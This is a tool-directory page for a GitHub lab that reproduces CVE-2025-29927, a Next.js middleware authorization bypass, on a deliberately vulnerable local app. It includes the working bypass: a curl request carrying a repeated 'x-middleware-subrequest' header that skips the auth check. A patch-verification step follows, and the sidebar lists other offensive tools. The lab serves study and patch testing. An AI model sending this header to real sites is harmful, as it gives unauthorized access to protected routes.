Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-29927-lab — Reproduction lab for CVE-2025-29927 — Next.js middleware authorization bypass (CVSS 9.1) | Kitploit
Tools/GitHubGitHub/swapnildeshpande/cve-2025-29927-lab
Vulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationLabs & Practice
GitHubswapnildeshpande/cve-2025-29927-lab

cve-2025-29927-lab

Reproduction lab for CVE-2025-29927 — Next.js middleware authorization bypass (CVSS 9.1)

View Repository
705 months agoNot yet reviewed
Share

CVE-2025-29927 Lab

Minimal reproduction lab for CVE-2025-29927 — Next.js middleware authorization bypass (CVSS 9.1).

Companion to: N-Day Analysis writeup on Medium

What this is

A Next.js 15.2.2 app (vulnerable) with a cookie-gated /dashboard route. The middleware auth check can be bypassed by sending a single HTTP header — no credentials required.

Requirements

  • Node.js 18+

Setup

git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install   # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001

Reproduce the bypass

Step 1 — Confirm middleware blocks unauthenticated requests:

curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307

Step 2 — Bypass middleware with the subrequest header:

curl -s -o /dev/null -w "%{http_code}" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3001/dashboard
# → 200

Step 3 — Upgrade to the patched version and confirm the bypass is blocked:

npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307

App routes

RouteAccess
/Public
/loginPublic
/dashboardProtected by middleware (requires session cookie)

Affected versions

Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5

References

  • NVD — CVE-2025-29927
  • Next.js patch PR #77201
  • Vulnerable source — sandbox.ts
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →